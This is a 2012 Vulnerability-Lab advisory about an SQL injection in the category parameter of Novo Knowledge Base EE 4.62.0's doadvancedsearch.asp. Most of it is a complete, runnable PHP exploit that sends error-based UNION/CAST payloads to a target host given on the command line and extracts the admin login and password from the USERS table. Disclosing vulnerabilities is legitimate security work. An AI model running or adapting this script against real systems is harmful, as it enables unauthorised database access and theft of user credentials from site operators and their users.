331 lines
9.9 KiB
Text
Executable file
331 lines
9.9 KiB
Text
Executable file
Exploit Author: Vulnerability-Lab
|
||
|
||
Title:
|
||
======
|
||
Knowledge Base EE v4.62.0 - SQL Injection Vulnerability
|
||
|
||
|
||
Date:
|
||
=====
|
||
2012-09-11
|
||
|
||
|
||
References:
|
||
===========
|
||
http://www.vulnerability-lab.com/get_content.php?id=702
|
||
|
||
|
||
VL-ID:
|
||
=====
|
||
702
|
||
|
||
|
||
Common Vulnerability Scoring System:
|
||
====================================
|
||
8.5
|
||
|
||
|
||
Introduction:
|
||
=============
|
||
Knowledge Base Software, by Novo Solutions can be used in a variety of
|
||
in-house and external application settings.
|
||
Our easy-to-use software is an ideal solution for small or Knowledge Base
|
||
Softwarelarge organizations who need a central
|
||
repository to store information for Customer Support, Company Intranet,
|
||
Employee Training, Document Management and more.
|
||
|
||
(copy from vendor website
|
||
http://www.novosolutions.com/knowledge-base-software )
|
||
|
||
|
||
Abstract:
|
||
=========
|
||
The Vulnerability Laboratory Research Team discovered a critical sql
|
||
vulnerability in the Knowledge Base Enterprise Edition v4.62.0.
|
||
|
||
|
||
Report-Timeline:
|
||
================
|
||
2012-09-06: Researcher Notification & Coordination
|
||
2012-09-07: Vendor Notification
|
||
2012-00-00: Vendor Response/Feedback
|
||
2012-00-00: Vendor Fix/Patch
|
||
2012-00-00: Public or Non-Public Disclosure
|
||
|
||
|
||
Status:
|
||
========
|
||
Published
|
||
|
||
|
||
Exploitation-Technique:
|
||
=======================
|
||
Remote
|
||
|
||
|
||
Severity:
|
||
=========
|
||
Critical
|
||
|
||
|
||
Details:
|
||
========
|
||
A SQL Injection vulnerability & a misconfiguration are detected in
|
||
Knowledge Base Enterprise Edition 4.62.0.
|
||
The vulnerability allows an attacker (remote) or local low privileged user
|
||
account to inject/execute own sql commands
|
||
on the affected application dbms without user inter action. The
|
||
vulnerabilities are located in search module when processing
|
||
to request the category variable with selcategory argument. Successful
|
||
exploitation of the vulnerability results in MSSQL dbms
|
||
& ASP application compromise.
|
||
|
||
Vulnerable File(s):
|
||
[+] doadvancedsearch.asp
|
||
|
||
Vulnerable Parameter(s):
|
||
[+] category
|
||
|
||
Condition
|
||
[+] selcategory - must be not NULL
|
||
|
||
|
||
Proof of Concept:
|
||
=================
|
||
The sql injection vulnerability can be exploited by remote attackers
|
||
without user inter action and without privilege user account.
|
||
For demonstration or reproduce ...
|
||
|
||
Note:
|
||
In this report we have the Clause statement it a little bit hard to exploit
|
||
it because of 90% non active responses with errors.
|
||
In order to exploit this vulnerability we need to use (CAST OR CONVERT)
|
||
MSSQL functions to obtain result of our query in Conversion Error messages.
|
||
|
||
|
||
Query: CAST(USER_LOGIN AS NVARCHAR(4000)
|
||
Result: [Microsoft][ODBC SQL Server Driver][SQL Server]Conversion
|
||
failed when converting the nvarchar value 'admin' to data type int.
|
||
|
||
|
||
In the proof of concept exploit we have to change and force the query to
|
||
retrieve users credential from user database requests
|
||
|
||
<?php
|
||
error_reporting(0);
|
||
/*
|
||
*
|
||
* Software Knowledge Base Enterprise Edition < 4.62.00
|
||
* Database: MS SQL
|
||
* Description
|
||
* Author Kami
|
||
* Email kami@vulnerability-lab.com
|
||
* Website http://www.kami.ma
|
||
* vendor http://www.novosolutions.com/knowledge-base-software/
|
||
* Exploitation-type MSSQL error-based using .
|
||
* Exploitation-technique (CAST OR CONVERT) Via (WHERE or HAVING) clause.
|
||
*/
|
||
|
||
|
||
|
||
/* Define Target Informations */
|
||
|
||
$HOST=$argv[1];
|
||
$URI ="/doadvancedsearch.asp";
|
||
|
||
/* DATABASE Params */
|
||
|
||
$TABLE ="USERS";
|
||
$columns=array("USER_LOGIN","USER_PASSWORD");
|
||
$evilSQL ="-6647) UNION ALL SELECT CHAR(107)+CHAR(97)+CHAR(109)+CHAR(105)+CHAR(58)+CHAR(58)+MAX(ISNULL(CAST({column_name} AS NVARCHAR(4000)),CHAR(32)))+CHAR(58)+CHAR(58)+CHAR(97)+CHAR(109)+CHAR(105) FROM USERS where USER_ID=1 -- ";
|
||
|
||
|
||
|
||
$Exploit= new Exploitcore();
|
||
|
||
|
||
if($argc > 1) {
|
||
echo "\n".'[+] Exploitation Start
|
||
|
||
\\\
|
||
.------. ///
|
||
(:::::::)(_)():-
|
||
`------<2D> \\\
|
||
Exploit sent ///
|
||
|
||
'."\n";
|
||
|
||
if(isset($argv[2]))
|
||
$URI=$argv[2].$URI;
|
||
echo "[+] URL : ".$argv[1].$argv[2]."\n";
|
||
$n=1;
|
||
foreach($columns as $column){
|
||
|
||
$evilSQL ="-6647) UNION ALL SELECT CHAR(107)+CHAR(97)+CHAR(109)+CHAR(105)+CHAR(58)+CHAR(58)+MAX(ISNULL(CAST({column_name} AS NVARCHAR(4000)),CHAR(32)))+CHAR(58)+CHAR(58)+CHAR(97)+CHAR(109)+CHAR(105) FROM USERS where USER_ID=1 -- ";
|
||
|
||
$evilSQL=str_replace("{column_name}",$column,$evilSQL);
|
||
|
||
$Payload=array(
|
||
"advsearchwords"=>"sds",
|
||
"selcategory"=>"19",
|
||
"category"=>$evilSQL,
|
||
"operation"=>"%2B",
|
||
"limit"=>25,
|
||
"searchtype"=>1,
|
||
"enableExclude"=>1,
|
||
"enableInclude"=>1,
|
||
"daterange"=>0,
|
||
"id"=>5,
|
||
"btnAdvanced"=>1,
|
||
"Lang=>1");
|
||
|
||
|
||
|
||
echo $reply=$Exploit->Requestor('POST',$HOST,80, $URI,array(),$Payload, array(), array(),1,false,false);
|
||
|
||
if($Exploit->Retrive_DATA($reply)== null) {
|
||
echo "[-] Error : Target is not vulnerable\n";
|
||
exit(-1);}
|
||
if($n==1){echo "[+] Extracting Data .... \n\n";}
|
||
echo "[+] DATA:".$column ."=".$Exploit->Retrive_DATA($reply)."\n";
|
||
$n++;
|
||
|
||
}
|
||
} else $Exploit->Menu();
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
Class Exploitcore{
|
||
|
||
var $hostname,$Port,$Uri;
|
||
var $dynamic_payload;
|
||
|
||
|
||
|
||
|
||
public function Retrive_DATA($reply){
|
||
|
||
preg_match_all('#kami::(.*?)::ami#',$reply,$res);
|
||
return $res[1][0];
|
||
}
|
||
|
||
|
||
public function Menu(){
|
||
|
||
|
||
$hello='
|
||
.-"""-.
|
||
/ _ \
|
||
___ | (212) |
|
||
/\````````````"""""""\\\""====---.......,,,,,_______ _ \ ^ /
|
||
\//__________________///__________________)))________)) "-...-"
|
||
|
||
Advanced __-- SQL --__ injection
|
||
|
||
Novo Knowledge Base
|
||
|
||
Credit : Kami
|
||
Email : Kami@vulnerability-lab.com
|
||
Website : www.kami.ma
|
||
|
||
Usage> php knowledgebase0day.php host
|
||
Exemple> php knowledgebase0day.php kbase.target.com
|
||
Exemple> php knowledgebase0day.php kbase.target.com /foo
|
||
|
||
';
|
||
|
||
echo $hello;
|
||
|
||
}
|
||
|
||
public function Requestor(
|
||
$verb = 'GET', /* HTTP Request Method (GET and POST supported) */
|
||
$ip, /* Target IP/Hostname */
|
||
$port = 80, /* Target TCP port */
|
||
$uri = '/', /* Target URI */
|
||
$getdata = array(), /* HTTP GET Data ie. array('var1' => 'val1', 'var2' => 'val2') */
|
||
$postdata = array(), /* HTTP POST Data ie. array('var1' => 'val1', 'var2' => 'val2') */
|
||
$cookie = array(), /* HTTP Cookie Data ie. array('var1' => 'val1', 'var2' => 'val2') */
|
||
$custom_headers = array(), /* Custom HTTP headers ie. array('Referer: http://localhost/ */
|
||
$timeout = 1, /* Socket timeout in seconds */
|
||
$req_hdr = true, /* Include HTTP request headers */
|
||
$res_hdr = true /* Include HTTP response headers */
|
||
)
|
||
{
|
||
$ret = '';
|
||
$verb = strtoupper($verb);
|
||
$cookie_str = '';
|
||
$getdata_str = count($getdata) ? '?' : '';
|
||
$postdata_str = '';
|
||
|
||
foreach ($getdata as $k => $v)
|
||
$getdata_str .= urlencode($k) .'='. urlencode($v) . '&';
|
||
|
||
foreach ($postdata as $k => $v)
|
||
$postdata_str .= urlencode($k) .'='. urlencode($v) .'&';
|
||
|
||
foreach ($cookie as $k => $v)
|
||
$cookie_str .= urlencode($k) .'='. urlencode($v) .'; ';
|
||
|
||
$crlf = "\r\n";
|
||
$req = $verb .' '. $uri . $getdata_str .' HTTP/1.1' . $crlf;
|
||
$req .= 'Host: '. $ip . $crlf;
|
||
$req .= 'User-Agent: Mozilla/5.0 Firefox/3.6.12' . $crlf;
|
||
$req .= 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' . $crlf;
|
||
$req .= 'Accept-Language: en-us,en;q=0.5' . $crlf;
|
||
$req .= 'Accept-Encoding: deflate' . $crlf;
|
||
$req .= 'Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7' . $crlf;
|
||
|
||
foreach ($custom_headers as $k => $v)
|
||
$req .= $k .': '. $v . $crlf;
|
||
|
||
if (!empty($cookie_str))
|
||
$req .= 'Cookie: '. substr($cookie_str, 0, -2) . $crlf;
|
||
|
||
if ($verb == 'POST' && !empty($postdata_str))
|
||
{
|
||
$postdata_str = substr($postdata_str, 0, -1);
|
||
$req .= 'Connection: Close'. $crlf;
|
||
$req .= 'Content-Type: application/x-www-form-urlencoded' . $crlf;
|
||
$req .= 'Content-Length: '. strlen($postdata_str) . $crlf . $crlf;
|
||
$req .= $postdata_str;
|
||
|
||
}
|
||
else { $req .= $crlf; }
|
||
|
||
if ($req_hdr)
|
||
$ret .= $req;
|
||
|
||
if (($fp = fsockopen($ip, $port, $errno, $errstr,1)) == false)
|
||
return "Error $errno: $errstr\n";
|
||
|
||
// stream_set_timeout($fp, 0, $timeout * 1000);
|
||
|
||
fwrite($fp, $req);
|
||
|
||
while ($line = fgets($fp)) $ret .= $line;
|
||
|
||
|
||
fclose ($fp);
|
||
|
||
|
||
|
||
|
||
if (!$res_hdr)
|
||
$ret = substr($ret, strpos($ret, "\r\n\r\n") + 4);
|
||
|
||
return $ret;
|
||
}
|
||
|
||
|
||
}
|
||
|
||
|
||
?>
|